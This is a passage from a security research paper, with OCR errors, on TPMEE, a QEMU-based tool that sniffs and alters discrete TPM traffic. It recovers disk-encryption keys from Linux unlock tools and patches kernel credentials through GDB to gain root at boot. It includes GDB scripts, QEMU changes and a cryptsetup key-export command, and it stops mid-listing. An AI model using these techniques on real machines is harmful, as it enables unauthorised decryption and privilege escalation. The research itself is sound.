are how to bypass the hard drive encryption and what is the impact of
the BIOS modifications.

Warning. The following attacks have some prerequisites:

— the secure boot should be disabled;

— the USB Boot option should be enabled.
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While these prerequisites seem to be significant, in my experience, a
noteworthy number of computers do not have these security setups. More-
over, the embedded device manufacturers security posture is not always
mature. They sometimes let old vulnerabilities affecting their devices. For
instance, some motherboards do not store their BIOS configuration in
NVRAM. Removing the BIOS battery for more than 30 seconds is enough
to reset the configuration. This technique is more detailed in [2].

Contributions. This paper presents a new way to compromise the
usage of discrete TPM (dTPMs). For this research, a tool has been
developed named TPMEE [15]. It can be used on a simple USB stick and
plugged into the target.

Our approach emulates the targeted computer by connecting all the
components it needs to run as usual. This emulation makes it possible
to listen to the communication between the computer and the TPM. To
go further, it is possible to modify the communication flow between the
computer and the TPM to compromise the computer. For example, the
generation of a random number by the TPM can be rigged. In the case
where TPM2 encryption session feature is enabled the emulation allows to
obtain direct access to the virtual memory of the emulated computer and
to modify its flow of execution to obtain access to the operating system.
However, these attacks assume that the attacker has managed to gain
access to the BIOS or at least boot into a third party operating system.

Paper organization. In Section 2, we draw an overview of a TPM and
do a brief history on the difference between versions 1.2 and 2. In Section 3,
we describe the different works to attack the TPM protocol and perform
a post-exploitation on a system that uses a TPM without any human
interaction. Section 4 shows how to sniff the TPM protocol thanks to the
emulation of the operating system and studies several solutions that use
TPM to decrypt a filesystem automatically. In Section 5, we focus on how
to compromise a computer that uses TPM 2 feature HMAC authentication
session feature by setting up a process with a higher right on the operating
system thanks to virtual machine instrumentation. Finally, in Section 6, we
go one step further and explore how to remove the component dependencies
(TPM, hard disk, BIOS) of our attack by embedding the TPM and hard
disk on a third party mother board to reproduce the attacks presented on
any device.
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2 TPM protocol

First, it is important to recall what is a TPM, what it is used for, and
the various improvements the technology has known.

dTPM (Trusted Platform Module), invented by TCG [16], is a secure
crypto-processor present as a chip directly on the motherboard and con-
nected to the CPU to generate and keep cryptographic secrets safe on
an external processor. An important concept of TPM is the sealing: this
feature allows storing a secret inside the TPM and release it only when
the same context is loaded and the TPM UNSEAL command is called.

TPM also exhibit some hardware security features such as a safe
cryptographic key generation, hash computation and signing or encrypting
values provided by the OS.

On this paper, we will focus on dTPM, a TPM subfamily defined as
follows: an external dedicated chip which has all TPM functionalities on
its semiconductor.

On TPM one of the most important concepts is the measurement. The
measurement certifies an object integrity at a specific time.

For instance, TPM can measure the integrity of the root of trust
with PCRs (Platform Configuration Register). These registers contain
cryptographic digests calculated at boot time for each level of boot loading.
Modifying any part of the code or configuration also modifies these digests.
To prove that the content of the PCRs comes from the TPM, the TPM
signs the content of the PCRs using a special key. This key is either called
AIK (Attestation Identity Key) in TPM 1.2 or AK (Attestation Key) in
TPM 2.0. These registers are used as follows:

Number Allocation

0 BIOS
BIOS configuration
Option ROMs
Option configuration
MBR(master boot record)
MBR configuration
State transition and wake events
Platform manufacturer-specific measurements
8-15 Static operating system

16  Debug

23 Application support

DU W N

-

Table 1. PCRs allocation
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These values cannot be removed after their initialization. Each access
to a PCR will concatenate a new value to its previous value. The boot
integrity can be checked with these values.

For our case study:

1. the attack used to remove the password and disable secure boot
should modify the measure of PCR 1;

2. the BIOS is replaced so the measurement of PCR 0 should be
modified.

TPM are not only a chipset specification but also the communication
protocol itself. This protocol is pretty simple: each request generates one
answer. All requests have the same structure:

— A tag defines which TPM version is used and if the request is

authenticated (2 bytes);

— The command size (4 bytes);

— Some custom fields for each command.

Like the requests, all answers share the same structure:

— A tag defines which TPM version is used and if the request is

authenticated (2 bytes);

— The response size (4 bytes);

— The response code value, i.e. to notify success (4 bytes);

— Some custom fields for each command.

To illustrate this protocol, let’s consider the command
TPM CC Unseal and its answer.

For the request:

— Request Tag: Command with authorization Sessions (0x8002)

— Command size: 91 (0x0000005b)

— Command Code: TPM2__CC_ Unseal (0x0000015¢)

— Handle Area: TPMI_DH_OBJECT: Unknown (0x81000000)

— Authorization Area:

— AUTHAREA SIZE: 73 (0x00000049)
— TPMI_SH_AUTH_ SESSION: Unknown (0x03000000)
— AUTH NONCE SIZE: 32 (0x0020)
— AUTH NONCE: ecd7chd62acbab4. . . e6ce39b613751d9ed8a38
— Session attributes (0x01)
— .... ...1=SESSION_ CONTINUESESSION: Set
— .... ..0. =SESSION_AUDITEXCLUSIVE: Not set
— .... .0.. = SESSION_AUDITRESET: Not set
— ...0 0... = SESSION_RESERVED: Not set
— ..0. .... = SESSION_DECRYPT: Not set
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— .0.. .... =SESSION ENCRYPT: Not set
— 0... ....=SESSION AUDIT: Not set
— SESSION AUTH SIZE: 32 (0x0020)
— SESSION AUTH: e0aac94a91b2c. . .0da345746b9b6c4

For the answer:

— Response Tag: Command with authorization Sessions (0x8002)

— Response size: 93 (0x0000005d)

— Response code value: TPM2 Success (0x00000000)

— RESP PARAM SIZE: 10 (0x0000000a)

— Parameters Area

— RESPONSE PARAMS:
— size of parameter : 8 (0x0008)
— value of parameter : password (0x70617373776{7264)
— Authorization Area
— AUTH NONCE SIZE: 32 (0x0020)
— AUTH NONCE: 697607541b5541f5d. . . 5a8f170df63b90682017
— Session attributes
— .... ...1=SESSION_CONTINUESESSION: Set
— .... ..0. = SESSION_AUDITEXCLUSIVE: Not set
— .... .0.. =SESSION_AUDITRESET: Not set
— ...0 0... = SESSION RESERVED: Not set
— ..0. .... =SESSION DECRYPT: Not set
— .0.. .... =SESSION ENCRYPT: Not set
— 0... ....=SESSION AUDIT: Not set
— SESSION AUTH SIZE: 32 (0x0020)
— SESSION AUTH: 71c6{8540102f8. . . a378617fe5b95de0bd 674744

The request used in this example allows a user to extract a secret from
the TPM if they have the authorization.

During the initialization of the secret, it is possible to specify which
PCR to use for its release. The secret can be unsealed only if the register
states were not altered. Thus, it verifies if the access to the unseal value
is allowed.

2.1 Upgrade With TPM2

TPM2 provides some new features compared to TPM 1.2. First, it
supports new algorithms (SHA-256, SHA-512) which improve the signature
capabilities and the key generation performances. In TPM 1.2, only SHA-1
was required.

TPM 2.0 adds new asymmetric signing algorithms as ECDSA, EC-
DAA and ECSCHNORR based on elliptic curves and change asymmetric
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encryption RSA 1024 to RSA 2048 with the algorithms RSAPES and
OAEP. Moreover, AES is now mandatory to sign or encrypt data. For the
moment, the CFB mode is the only one mandatory.

TPM2 provides an HMAC session to protect against sniffing TPM
communication. Each request can be authenticated and potentially
encrypted. To find if this feature is used, you can look if the ses-
sion begins with TPM2_StartAuthSession() command and finishes with
TPM2_FlushContext() command. For each request that uses this feature,
an Authorization Area is added.

4

V Frame 175: 113 bytes on wire (904 bits), 113 bytes captured (904 bits)
+ Ethernet II, Src: 00:00:06_00:00:00 (98:60:00:00:00:00), Dst: Broadeast (Tf:ff:ff:ff:ff:ff)
+ Internet Protocol Wersion 4, Src: 127.0..1, Dst: 127.0.0.1

3
~ TPM2.8 Protocol
~ TPM2.0 Header, TPM2_CC_StartAuthSession
Tag: Command with no authorization Sessions (@x8001)
Command size: 59
Command Code: TPM2_CC_StartAuthSession (8x00000176)
~ Handle Area
TPMI_DH_OBJECT: TPM2 RH_NULL (©x48000007)
TPMI_DH_ENTITY: TPM2_RH_NULL (0x40000087)
AUTH NONCE SIZE: 32
AUTH NONCE: 041857r82cTa95a1574buS5deae43crc252e71r9ar3a7d37dcad91006710e932
ENCRYPTED SECRET SIZE: 0
ENCRYPTED SECRET: <none>
SESSION TYPE: TPM2_SE_HMAC (0x80)
SYM ALG: TPM2_ALG _NULL (6x0810)
ALG HASH: TPM2 _ALG SHA256 (@x808b)

Fig. 1. StartAuthSession Example during Windows 11 Boot using the Tool Pre-
sented in this Paper

In Figure 1, we observe that the session is started without encryption
because the encrypted secret is not present.

Each command contains a tag to identify if this command uses the
session or not:

— 8002 when it is a command with session.

— 8001 when it is a command without session.

For instance, a command that allows extracting a secret could be

encrypted if the session is used with the encryption flag set. The docu-
mentation of [16] explains:

12.7 TPM2_ Unseal
General Description



B. Forgette (a.k.a. MadSquirrel) 299

This command returns the data in a loaded Sealed Data Object.

NOTE 1 A random, TPM-generated, Sealed Data Object may be created by
the TPM with TPM2_ Create() or TPM2_ CreatePrimary() using the template
for a Sealed Data Object.

NOTE 2 TPM 1.2 hard-coded PCR authorization. TPM 2.0 PCR authorization
requires a policy. The returned value may be encrypted using authorization
session encryption. If either restricted, decrypt, or sign is SET in the attributes
of itemHandle, then the TPM shall return TPM__RC_ATTRIBUTES. If the
type of itemHandle is not TPM__ALG_KEYEDHASH, then the TPM shall
return TPM__RC_ TYPE.

3 State of the Art

The TPM subject is now an important part of our system’s security.
For instance, Microsoft has added the prerequisite of having a TPM to
boot its new operating system Windows 11. In their documentation [1],
Microsoft goes even further by requesting a TPM version 2. This is not
yet enforced and starting a Windows 11 with a TPM 1.2 is still possible.

In recent years, several projects have been developed to test the TMP
security. Most of them require hardware access and allow sniffing TPM
communication over:

— LPC protocol with TPM Specific LPC Sniffer [12].

— SPI protocol with Bitlocker SPI toolkit [19].

— 12C protocol with TPMGenie [18].

TPM Specific LPC Sniffer and Bitlocker SPI toolkit are tailored to
target Bitlocker keys on Windows.

TPMGenie have more generic targets and some interesting active
attacks, like spoofing measurement features and altering the random
generator number on Linux systems. However, TPMGenie does not work
with TPM2.

Sniffing attacks are no longer sufficient with TPM version 2. Several
countermeasures have been added in this new version to prevent them.
Notably, we detail the HMAC authentication session feature in Section 2.

To avoid being constrained by this communication authentication and
encryption solution, it is necessary to obtain access to the operating system
without knowing the password.

One of the best-known programs to perform this attack is probably
Kon-boot [13]. Kon-boot allows booting on a macOS or Windows system
without knowing the session password. At boot time it injects itself into
the BIOS/UEFI memory to modify the disk accesses. When the kernel
is loaded in memory, it patches the memory areas in charge of password
verification to accept any password.
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Another inspiration for this attack comes from Android Emuroot [11]
presented in SSTIC 2021. This project made it possible to target a process
in the list of running processes and to escalate the binary privileges with
higher privileged rights.

4 Sniffing the TPM Protocol

The idea behind sniffing the TPM communication is to intercept the se-
crets passing through it. As mentioned above, if the session authentication
feature is not used, the secrets are sent unencrypted.

4.1 Sniffing by emulation

We could find three main weaknesses that the different technics de-
scribed in Section 3 suffer from:

— they require access to the TPM making the attack more difficult;

— they depend on the physical layer protocol;

— the projects are not maintained anymore or only target Windows

systems.

We designed this project with the goal of being usable on every oper-
ating system without hardware constraints. We perform our attacks by
altering commands and answers sent using the TPM protocol. However,
our method still has weaknesses. The main one is the high-level execution
which is required:

— there is more risk that a badly formatted command will be rejected;

— the prerequisites are more important: it is necessary to have access

to the BIOS of the computer to authorize the boot from a USB
key. Depending on the motherboard, it is also necessary to disable
secure boot.

The sequence of the attack is as follows:

1. Boot on a live ISO without any communication with the TPM.
2. Launch an instance of gemu [10].

(a) If the BIOS is configured with UEFI, retrieve the open-source
UEFT implementation developed by TianoCore [14].

(b) Map the physical disk as the main disk in the virtual machine.
(¢) Use the same CPU as the host CPU.
(d) Connect the host TPM to the virtual machine.

3. Redirect the communications to the TPM to an external service
allowing for example to save it in a pcap file or to modify a request.
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To ease the attack, we use a helping script that correctly call the
emulator. You can analyze deeper how it works in the GitHub project.!

We had to modify the emulator to allow the extraction of re-
ceived and issued requests from the TPM. To do so, the function
tpm,__passthrough__uniz_read from gemu project, which extracts data
sent by the TPM, and tpm_ passthrough__uniz_tx bufs, which extracts
data received by the TPM, have been reimplemented to transmit the
requests via a UNIX socket. These two functions can be found in the file
backends/tpm/tpm__passthrough.c of the project.

const char *file = get_tpm_sniff_path();
if (file !'= NULL)
{
uint32_t data_len = ret + 3;
packet_tpm_t *data = malloc(data_len * sizeof (uint8_t));
data->type = 0x0;
data->length = ret;
memcpy (data + 1, buf, ret);
send_data2socket ((uint8_t *)data, data_len, file);
free(data);
data = NULL;

Listing 1. Qemu Source Code

To process this RAW data, a socket server has been set up to retrieve
and format it into a pcap file where the TPM will be the destination
and the target OS the source. An example output can be found on the
page 298 and page 303.

Another feature allows replacing some request by another and perform
MITM attack on the TPM protocol. The easiest TPM command that it
is possible to replace is TPM__CC _GetRandom. When this command is
sent, the TPM answers with a securely generated random number with
the number of bytes requested.

To showcase the usage of our tool, we intercept the response to
TPM CC _GetRandom and replace it with the value 0. We have not
studied the use of MITM in a real-life scenario. This tool is new and we
work on generic patterns that can be used to defeat libraries using TPM
or the dTPM component itself.

Let’s consider several solutions for decrypting the disk at boot time
via TPM and focus on how to analyze them with the tool developed for
this research:

— tpm2-initramfs-tool

— systemd-enroll linux

! https://github.com/quarkslab/TPMEE
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— clevis
— Windows 11 Bitlocker

¢ Tpm2-initramfs-tool

We analyse the tool at its last commit: 9fb5b10.

To better understand what is going on, let’s take the source code of the
tpm2-initramfs-tool program. The function pcr_unseal is called dur-
ing the disk decryption. This function calls the libtss function Esys_Unseal
and uses the result as the password to decrypt the disk. 2

rc = Esys_PolicyPCR(ctx, session, ESYS_TR_NONE, ESYS_TR_NONE, ESYS_TR_NONE,
NULL, &pcrsel);

chkrc(rc, goto error);

rc = Esys_Unseal(ctx, primary, session, ESYS_TR_NONE, ESYS_TR_NONE,

&secret2b) ;

chkrc(rc, goto error);

printf ("%s", secret2b->buffer);

Listing 2. Source code of libtpm Esys_ Unseal
If we look at the construction of the Esys_Unseal function, we see

that this function is only a wrapper to the TPM_Unseal command in the
TPM specification published by TCG [16].

|00utgoing Operands and Sizes

PARAM HMAC e
% [ # = Type Name Description
1 2 TPM_TAG 1ag TPM_TAG_RSP_AUTHZ_COMMAND
2 4 UINT32 paramSize Total number of output bytes including paramSize and tag
3 4 18 4 | TPM_RESULT retunCode The return code of the operation.
25 4 TPM_COMMAND_CODE ordinal Command ordinal: TPM_ORD_Unseal
4 4 38 4 UINT32 secretSize The used size of the output area for secret
5 < | 48 < | BYTE[] secret Decrypted data that had been sealed
[ 20 | 2H1 | 20 | TPM_NONCE nonceEven Even nonce newly generated by TPM to cover outputs
3H1 20 | TPM_NONCE nonceOdd Nonce generated by system asscciated with authHandle
7 1 4H1 1 BOOL continueAuthSession Continue use flag, TRUE if handle is still active
8 2 TPM_AUTHDATA reshuth '{Q;a :;nr;ﬁ:tyw‘migﬁgrndigest for the returned parameters. HMAC
9 20 | 2H2 | 20 | TPM_NONCE dataNonceEven Even nonce newly generated by TPM.
3H2 | 20 | TPM_NONCE datanonceQdd Nonce generated by system associated with dataAuthHandle
10 1 4H2 1 BOOL continueDataSession Continue use flag, TRUE if handle is still active
1| 20 TPM AUTHDATA R '{2: :L&Enﬂ;};ﬁhﬁion digest used for the dataAuth session. HMAC

Fig. 2. Command TPM_ Unseal

2 https://github.com/timchen119/tpm2-initramfs-tool/blob/9fb5b10/src/
libtpm2-initramfs-tool.c#L406
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By analysing the frames written in the pcap file produced by the tool
and focusing on the TPM_Unseal command response frame, we find the
password given in the response parameter which consists of:

— secretsize [00 08]

— secret [70 61 73 73 77 6F 72 64] ("password")

5 54 86.655453 127.6.0.1 17.0.0.1 4 147 2321 . 22476, [TPM Response], Response Code TPM2 Success, Len(93)

“«

» Frame 54: 147 bytes on wire (1176 bits), 147 bytes captured (1176 bits
» Ethernet II, Src: 09:09:60_00:00:00 (90:00:00:00:00:00), DSt: e (FFIFFIFTIfrifrrr)
’ Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.9.0.1

~ TPHZ2.0 Protocol
» TPM2.0 Header, TPM2 Success
RESP PARAM SIZE: 10
~ Parameters Area
RESPONSE PARAMS: 00087061737377677264

b Authorization Area
8040 00 00 00 0a [NCNCNINRERERIARIRL 00 20 -3

P

950 69 76 07 54 1b 55 41 15 dc 3d 1f 99 ar 6b a5 65 1v- 1 UA
950 3b 2c 5c 8f 97 64 5a 8F 17 Od f6 3b 99 68 20 17  ;,

81 80 20 71 c6 8 54 61 02 ¥8 fe a2 d2 1a 3f c8 --q T 2

6050 ac da 8c e3 61 52 98 a3 78 61 7f e5 b9 5d e bd caRer Xxaree]es

Fig. 3. Sniffing with the tools

In the source code, the list of PCRs can be used to seal the secret.
However, this is not used by default which makes it to extract the key in
clear text.

¢ Systemd-cryptenroll

We analyse the tool from the tag version systemd v250.

The second case study concerns the systemd-cryptenroll program.
The code analysis reveals the use of the TPM_Unseal command. This
time the key to decrypt the disk is used not in clear text but en-
coded in base64 https://github.com/systemd/systemd/blob/main/
src/cryptenroll/cryptenroll-tpm2.c#L108

On the source code, the list of PCRs can be used to seal the secret
but by default is not used and the session encryption either, that makes
possible the extraction of the key in clear.

e Clevis

We analyse the tool from the tag version Release version 18.

Clevis is probably the more complex but the weakness is the same.
Our tool extracts a key as follows:


https://github.com/systemd/systemd/blob/main/src/cryptenroll/cryptenroll-tpm2.c#L108
https://github.com/systemd/systemd/blob/main/src/cryptenroll/cryptenroll-tpm2.c#L108
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{
"alg":"A256GCM",
"k":"IKLwktVNqr6qqCfQp75bs -n3hUVwrsFFuAxXqBG6tQQ",
"key_ops":["encrypt","decrypt"],
Ilktyll . n oct n
}

The key extracted is a JWK (Json Web Key) and the JWE (Json Web
Encryption) is stored inside the header of the luks volume. For Luks2
volume, we can extract the JWK as follows:

‘cryptsetup token export --token-id 1 "${DEV}"

Then, with these two values we can get the password to decrypt the
disk. In the source code, the list of PCRs cannot be used to seal the secret
neither the session encryption which makes it possible to extract the key
in cleartext.

¢ Windows 11

A work has been started for Windows 11. In real case scenario, the
communication with the TPM has not begun and the popup appears
to ask the restoration key. I believe that some hardware enumeration
blocks the communication. But if we manage to begin a communication
with the TPM as mentioned in Section 3, the key can be found with the
same technic. On a side note, cyberveille-sante.gouv.fr warns on this
subject.?

Nonetheless, we should still check if the PCR register is used to seal
the secret.

4.2 Issues

Our analysis discovered that, by default, implementations were not
using PCR registers to seal the secrets. This also is not encouraged in
the documentation. Note that the usage of PCR registers in Windows
couldn’t be checked and this remains as future work.

During the study we add a PCR verification to understand which
request PCR should be added on these implementations and understand
when the attacks are possible.

3 https://www.cyberveille-sante.gouv.fr/cyberveille/1208-une-nouvelle-
attaque-permet-dextraire-les-cles-de-chiffrement-bitlocker-dun-tpm
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PCR Allocation Attack
0 BIOS undetected
1 BIOS configuration detected
2 Option ROMs undetected
3 Option configuration undetected
4 MBR(master boot record) detected
5 MBR configuration undected
6 State transition and wake events undetected
7  Platform manufacturer-specific measurements undetected
8 Grub commands detected
9 Executed Modules Grub detected
10 Grub binary or IMA undetected
11 Kernel and initrd Shim undetected
12 Entire booting process undetected
13-15 Static operating system undetected
16 Debug undetected
23 Application support undetected

Table 2. PCRs verification on Linux system

As noted in the documentation, the TPM 2.0 protocol allows encryption
of command and response parameters, although this is not yet used by
the main solutions.

Using such protections will allow an OS to be protected against passive
attacks. However, it is common for computers to not be protected by
a BIOS password. A less likely, but still possible option, is that the
motherboard is vulnerable and allows access to its BIOS.

Since we have access to the RAM and can debug the CPU, we instru-
ment it and modify a process to gain access to the operating system.

5 Get privileged access to an operating system at early
boot time

The objective in this part of the attack is to gain access to the system
with privileged rights, without altering its main running operation.

5.1 Instrumentation of Qemu to get a privileged access

As in our case we do not have access to the system, we have two
solutions:

— the creation of a new process;

— the modification of a precise process by a process we control.
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In this version, we opted for the replacement of a single process, but
we may improve our tool to create a process from scratch in a near future.

To understand the version, it is necessary to dive into the internals of
Linux kernel.

¢ How the linux kernel works

Before diving in our attack, we give a brief overview of how interrupts
and more precisely syscalls work.

- Interruption To communicate from USER space (RING 3) to KERNEL
space (RING 0), it will be necessary to use interrupts. Interrupts are stored
in a table called the IDT. This table contains all the functions in the
kernel that will be called when an interrupt is triggered.

- Syscall One of these interrupts is called syscall. This interrupt allows
to pass the execution from user space to kernel space to perform an action.
An extract from the list of these actions on a linux x86 64 kernel is
reproduced in Table 3.

rax System call  rdi rsi rdx r10 r8 r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf
2 sys_open const char *filename int flags
3 sys_ close unsigned int fd
4 sys_stat const char *filename struct stat *statbuf
56 sys_ clone unsigned long clone_ flags
57 sys_ fork

58 sys_ vfork
59 sys_execve const char *filename

60 sys_ exit int error__code
61 sys_wait4 pid__t upid int *stat_ addr
62 sys_ kill pid__t pid int sig

63 sys_uname  struct old_utsname *name
322 stub_execveat int dfd

Table 3. x86_ 64 Syscall numbers

FExecve and execveat The execve and execveat calls are of interest to
us, as every binary executed by the system goes through them. ezecve is
called with the following parameters on x86_ 64:
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— rdi points to the name of the binary to execute;

— rsi points to the arguments passed to the binary;

— rdx points to the environment variables.

ezecveat is called with the following parameters on x86_ 64:

— rdi contains the file descriptor of the execution folder;

— rsi points to the name of the binary to execute;

— rdz points to the arguments passed to the binary;

— 7110 points to the environment variables;

— 18 contains flags [9].

The ezecve [4] and ezecveat [5] syscalls are the perfect starting point
to understand how the execution works and to understand how we can
modify the binary execution.

For this analysis, we use Elixir [8] project that is a source code cross-
referencer inspired by LXR. Its main purpose is to index every release
of a C or C++ project (like the Linux kernel) while keeping a minimal
footprint.

Following the execution flow illustrated Figure 4, these two syscalls
call the same do_ execveat_common function [3]. It is possible to use this
function to monitor the called process and to modify the desired process.
The parameters that can be interacted with are:

— the name of the called binary;

— the arguments passed to the binary (argv);

— the environment variables (envp).

- Cred Structure However, it is impossible to modify the execution
rights of the binary. The execution rights will be stored in a structure
called creds for the moment.

struct cred {

atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS

atomic_t subscribers; /* number of processes subscribed */
void *put_addr;

unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif

kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */

kgid_t fsgid; /* GID for VFS ops */
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execve execveat

Y

do_execve do_execveat

do_execveat_common

ecve |
bprm_execve
| Cprm-exeeve |

unshare_files exec_binprm

A
7
prepare_bprm_creds L_rs}ecurity_hprm_creds_for_exec |

A
E v
check_unsafe_exec
— — close_on_exec
4 5
do_open_execat | sched_exec ‘

search_binary_handler

bprm_execve

load_binary

|Ioadiaout7binary| |Ioad7elf7fdpic7binaw| | load_em86 | |I0ad7ﬂatﬁbinary‘ |Ioad7miscibinaw| | load_script ‘

Fig. 4. Execution Flow of execve and execveat
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19 ‘} __randomize_layout;
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Listing 3. Structure of creds

This structure contains uid, gid, suid, sgid, euid, egid, fsuid, fsgid

values. All these elements, which correspond to the users right and its

groups, must be set to 0 to obtain the highest rights on the system.
When a process is created, this structure is filled by reproducing the
rights of the process that called it:

struct cred *prepare_creds(void)

{
struct task_struct *task = current;
const struct cred *o0ld;
struct cred *new;

validate_process_creds () ;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL) ;
if (!new)
return NULL;

kdebug ("prepare_creds () alloc %p", new);

old = task->cred;
memcpy (new, old, sizeof (struct cred));

Listing 4. Preparation of creds

To access this structure, we must be just before the addition of this
process to the task list (during the start thread [7] function).

When a process is create from an ELF, the function will called
start_thread and load__elf binary [6]. Otherwise it will be possible to
end in the following functions:

— load__aout__binary

— load_elf fdpic_ binary

— load__em86

— load_flat_ binary

— load__misc_ binary

— load__script

In this attack, the function that will be used is load__elf binary. This
function takes as a parameter a linux_ binprm structure which contains
all the data needed to create the process including the creds attributes.

struct linux_binprm {

#ifdef CONFIG_MMU
struct vm_area_struct *vma;
unsigned long vma_pages;
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#else
# define MAX_ARG_PAGES 32

struct page *page [MAX_ARG_PAGES];
#endif

struct file *file;
struct cred *cred; /* new credentials */
int unsafe; /* how unsafe this ezec is (mask of LSM_UNSAFE_x) */

char buf [BINPRM_BUF_SIZE];
} __randomize_layout;

Listing 5. Structure of linux_ binprm

¢ Replace a process in kernel space

To summarize the attack, it will be required to place a breakpoint at the
address of the do_execveat common [3] function and change the filename
value when the name of the targeted process is found. Then we place a
breakpoint at the address of the load _elf binary [6] function and change
the cred structure to impersonate a privileged user.

When gemu starts the operating system from the internal disk, there
is neither symbols nor helpers to find the addresses of these functions.
This mean we have to find them by ourselves. To help us locate them, the
Linux kernel documentation [17] describe the memory layout.

Start addr | Offset | End addr | Size | VM area description
fEf£££££00000000 | -4 GB | fEfffffff7fffffff | 2 GB | . unused hole
fE££££££80000000 | -2 GB | fEfffffffOfffffff | 512 MB | kernel text mapping, mapped to physical address 0
fE£E££££80000000 |-2048 MB | | |
fEffff££a0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space
fEFEFEEEFF000000 | -16 MB | | |
FIXADDR_START | ~-11 MB | ffffffffff6fffff | ~0.5 MB | kernel-internal fixmap range, variable size
fEEEEEE£££600000 | -10 MB | ffffffffff600fff | 4 kB | legacy vsyscall ABI
fEfffF££F£e00000 | -2 MB | ffffffffffffffff | 2 MB | . unused hole

According to the documentation, the text section of the kernel code
starts at address 0zffffff{f80000000, however recent kernel implementations
use two features:

— Kaslr (kernel-ASLR) which randomize the kernel base address. It

corresponds to the CONFIG_RANDOM__BASE option.

— CONFIG_RANDOMIZE MEMORY which allows choosing ran-
dom offset for the address page offset_ base, vmalloc_ base,
vmemmap__base.

However, as indicated in the documentation the order is still preserved.

According to the documentation, only the holes and the KASAN
area can be overlapped. Here, we want to find the addresses of the
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do__execveat__common and load_elf binary functions. So to narrow down
the search area, we must determine the position of the first allocated area.
We will start searching from the address Oxffffffff00000000 which should
be the lowest possible address.

The following code is used to find this area:

def f_getKernelBase():

global kermnel_base

if not kernel_base:
tmp_base = Oxffffff££00000000

index = 6
while True:
try:

gdb.execute(f"x/i {tmp_base}", False, True)
except gdb.MemoryError:
tmp_base += 1 << 4xindex
continue
if index > 1:
tmp_base -= 1 << 4xindex
index -= 1
continue
break;
return tmp_base

Listing 6. getKernelBase functions

The first step to determine the addresses we are looking for is to find
the Linux kernel version. To do so, we dump the RAM and search for
information in it. For example, we list below an extract of the strings
found in memory that can be used to identify the Linux version:

vmlinuz-5.10.0-9-amd64

5.10.0-9-amd64 (debian-kernel@lists.debian.org)
5.10.0-9-amd64 SMP mod_unload modversions
/1lib/firmware/5.10.0-9-amd64
vermagic=5.10.0-9-amd64
/usr/src/linux-headers-5.10.0-9-amd64
linux-kbuild-5.10 (>= 5.10.70-1)

APT: :LastInstalledKernel "5.10.0-9-amd64";
5.10.0-9-amd64

vermagic=5.10.0-9-amd64 SMP mod_unload modversions
CUPS/2.3.30p2 (Linux 5.10.0-9-amd64; x86_64) IPP/2.0
p2 (Linux 5.10.0-9-amd64; x86_64) IPP/2.0
boot/initrd.img-5.10.0-9-amd64
boot/vmlinuz-5.10.0-9-amd64
/usr/src/linux-headers-5.10.0-9-amd64
/1lib/modules/5.10.0-9-amd64
/usr/share/bug/linux-image-5.10.0-9-amd64
OSRELEASE=5.10.0-9-amd64

OSRELEASE=5.10.0-9-amd64
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Once the version has been identified, the search for the precise offsets
can begin. To facilitate this task, it is helpful to compile the precise kernel
version with symbols.

To find the offsets we are looking for, it is important to identify some
particularly identifiable bytes. To reproduce this, the rest of this act shows
how the search for the load_elf binary offset was carried out and to go
deeper, the source code of this project will be published.

' FUNCTION '
Aok ok o o oo o ook o o ook b o oo ook ok o o ook o ook ot ok ok ok o kot ko ok ok
undefined load_elf_binary ()

undefined AL:L <RETURN>
load_elf_binary KREF[1]: .debug_frame: :0002d318(*)
...fff8134a4e0 e8 ab 7 CALL __Tentry__
d1 ff
...fff8134adeS 41 57 PUSH R15
.. fff8134a4e7 41 56 PUSH R14
... fff8134a4e9 41 55 PUSH F1z
. fff8134adeb 41 54 PUSH R12
...fff8134aded 55 PUSH REP
...fff8134adee 48 89 fd MOV REP, RDT
.. fff8134a4f1 53 PUSH RE!
...ff18134a4f2 48 81 ec suB RSP, Oxag
a8 00 00 0o

...fff8134a4fg 65 48 8b MOV Fax, qword ptr GS: [0x28]
04 25 28
00 00 00

...fff8134a502 48 89 84 MoV qword ptr [RSP + 0xa0],Ra
24 a0 00
00 00

. ffT8134a50a 31 cO XOR EAX, EA

...fff8134a56c 81 bf a@ CMP dword ptr [RDI + Oxa0], Bx464c457f|
00 00 00
7t 45 4c 46

...fff8134a516 0f 85 4c JNZ LaB_ffffffffsl34a768
02 00 00

...fff8134a51c Of b7 87 HOVZX Etd,word ptr [RDI + Oxb@]
bO 00 08 00

Fig. 5. Extract of load_ elf binary

Load__elf binary allows loading binaries. For that it must compare
the magic bytes of the elf format i.e. 7Fh 45h 4Ch 46h. By searching this
command, we will know the offset of this instruction and from a relative
computation, it is possible to determine the address of the load elf binary
function.

For instance, the Linux kernel version 5.10.0-9 has a CMP dword
ptr [RDI + 0za0], 0x464C457F instruction at address Ozffffff{f8134a50c
and the function entry point is at address O0xffffffff8134a4e0. The relative
position gives Oxffffff{f8134a50c-0xffffff{f8134a4e0 = 0x2c.

This gives us the following code to find the address of the
load__elf binary function:

def get_address_load_elf_binary():
global address_load_elf_binary
if address_load_elf_binary == None:
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retu

kernel_base = f_getKernelBase ()

#addresses = gdb.execute(f’find {kernel_basel, O
ef ffffffrffffrfff, (char)0z81, (char)Ozbf, (char)Ozal, (
short)0x0000, (char) 0z0, (char)Oz7F, (char)Oz45, (char)
Oz4c, (char)Oz46’, False, True)

#addresses = int ((addresses.split () [0:2]) [0], 16)

addresses = inferior.search_memory(kernel_base, 0
xfffffffEfffffffff -kernel_base, b"\x81\xbf\xa0\x00\x00\
x00\x7F\x45\x4c\x46")

address_load_elf_binary = addresses - 0x2c

rn address_load_elf_binary

Listing 7. get_ address_load_ elf binary functions

All we need then is to assemble the entire attack to replace the targeted

process.

To gain access to the system, we follow these steps:

1. identification of an interesting process
(a) Start the disk in VM see (Sniffing by emulation) in debug mode

(b) Retrieve the process list executed at boot time with the

12

13
14
15
16
17
18
19
20
21
22
23

getListProcess function.

def f_printNextProcess():
address_load_elf_binary = get_address_load_elf_binary

O

print (f"address of load_elf_binary {
